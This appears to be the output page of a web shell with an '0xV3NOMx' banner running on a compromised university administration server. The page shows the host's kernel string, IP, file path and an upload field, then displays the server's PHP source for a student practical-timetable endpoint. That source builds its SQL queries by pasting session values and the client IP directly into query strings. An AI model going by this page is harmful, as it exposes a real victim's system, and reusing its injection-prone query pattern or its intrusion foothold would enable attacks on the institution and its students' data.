0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.216.11.230


Current Path : /var/www/html/univadmin/src_12/
Upload File :
Current File : /var/www/html/univadmin/src_12/practicaltimetable.php

<?php

include("database.php");


include("commandb.php");

//session_start();
$UNIVCODE  = $_SESSION['UNIVCODE'];

$query = "INSERT INTO menulog(funivcode,fdate,fprtimetable)
VALUES('{$UNIVCODE}',date_format(now(),'%Y-%m-%d'),1)
ON DUPLICATE KEY UPDATE fprtimetable = if(ifnull(fprtimetable,'') = '', 1,fprtimetable+1)";

$results = mysqli_query($conndb,$query);

$strUserLogQuery = "insert into userlog 
	(funivcode, fregno, fmobileno, fipadd, FREASONCODE, FDESCPN)
	values ('{$_SESSION['UNIVCODE']}', '{$_SESSION['REGNO']}', 
	'{$_SESSION['MOBILE']}', '{$_SERVER['REMOTE_ADDR']}', 
	'PRMN', 'PRMN - {$_SESSION['REGNO']} Viewed Practical Time Table')";
$result = mysqli_query($conndb,$strUserLogQuery);

$regno  = $_SESSION['REGNO'];
$screen = $_POST['screen'];


$query = "select st.fname, concat(cd.fdegree,' - ',de.fdescpn) as fdegree,
cd.fexamno, de.fexamname, de.FEXAMDATE as exam,
cd.fregno, su.fcsubcode, concat(su.fsubname,' - ',su.fssubname) as fsubname, 
concat(date_format(pr.fexamdate,'%d/%m/%Y'),' [',dayname(pr.FEXAMDATE),']') as fexamdate, 
pr.fexamtime, concat('[',cl.fcollcode,'] ',cl.fcollname, ', ', cl.ftown) as centrename,
mp.fbatch 
from canddet cd inner join subject su on cd.fdegree = su.fdegree
and cd.fexamno = su.fexamno and cd.fsubcode = su.fsubcode
inner join degree de on cd.fdegree = de.fdegree and cd.fexamno = de.fexamno
inner join marks_pr mp on cd.fdegree = mp.fdegree
and cd.fexamno = mp.fexamno and cd.fcollcode = mp.fcollcode
and cd.fregno = mp.fregno and su.fcsubcode = mp.fsubcode
inner join practical_entry_freeze pr
on mp.fdegree = pr.fdegree
and mp.fexamno = pr.fexam
and mp.fcollcode = pr.fcollcode
and mp.fsubcode = pr.fcsubcode 
and mp.fbatch = pr.fbatch
inner join college cl
on mp.focollcode = cl.fcollcode
inner join student st on 
mp.fcollcode = st.fcollcode 
and mp.fdegree = st.fdegree 
and mp.fregno = st.fregno 
where cd.fregno = '{$regno}'
and su.fcsubcode = pr.fcsubcode
and ifnull(cd.fpassmth,'') = ''
and ifnull(cd.fpresent,'') = 'P'
and su.ftheory <> 'T'";
//var_dump($query);
$result = mysqli_query($conn,$query);
//var_dump(count($result));
$count = @mysqli_num_rows($result);

if($count > 0)
{
	$i = 0;
	while($row = mysqli_fetch_assoc($result))
	{
		$fname         = $row['fname'];
		$fdegree       = $row['fdegree'];
        $exam          = $row['exam'];
		$fexamname     = $row['fexamname'];
		$fregno        = $row['fregno'];
		$fcsubcode[$i] = $row['fcsubcode'];
        $fbatch[$i]    = $row['fbatch'];
		$fsubname[$i]  = $row['fsubname'];
        $fexamno[$i]   = $row['fexamno'];
        $centrename    = $row['centrename'];            
		$fexamtime[$i] = $row['fexamtime'];
        $fexamdate[$i] = $row['fexamdate'];
		$i++;

	}
	
	$app['error_code'] = 1;
	$app['fcsubcode']  = $fcsubcode;
	$app['fsubname']   = $fsubname;
	$app['exam']       = $exam;
	$app['fname']      = $fname;
	$app['fdegree']    = $fdegree;
	$app['fexamname']  = $fexamname;
	$app['fexamdate']  = $fexamdate;
	$app['fregno']     = $fregno;
	$app['fexamno']     = $fexamno;      
	$app['fbatch']     = $fbatch;  
	$app['centrename'] = $centrename;            
	$app['fexamtime']  = $fexamtime;

	echo json_encode($app);
}
else
{
	$app['data'] = "Practical Time Table Not Available";
	$app['error_code'] = 0;
	echo json_encode($app);
}

?>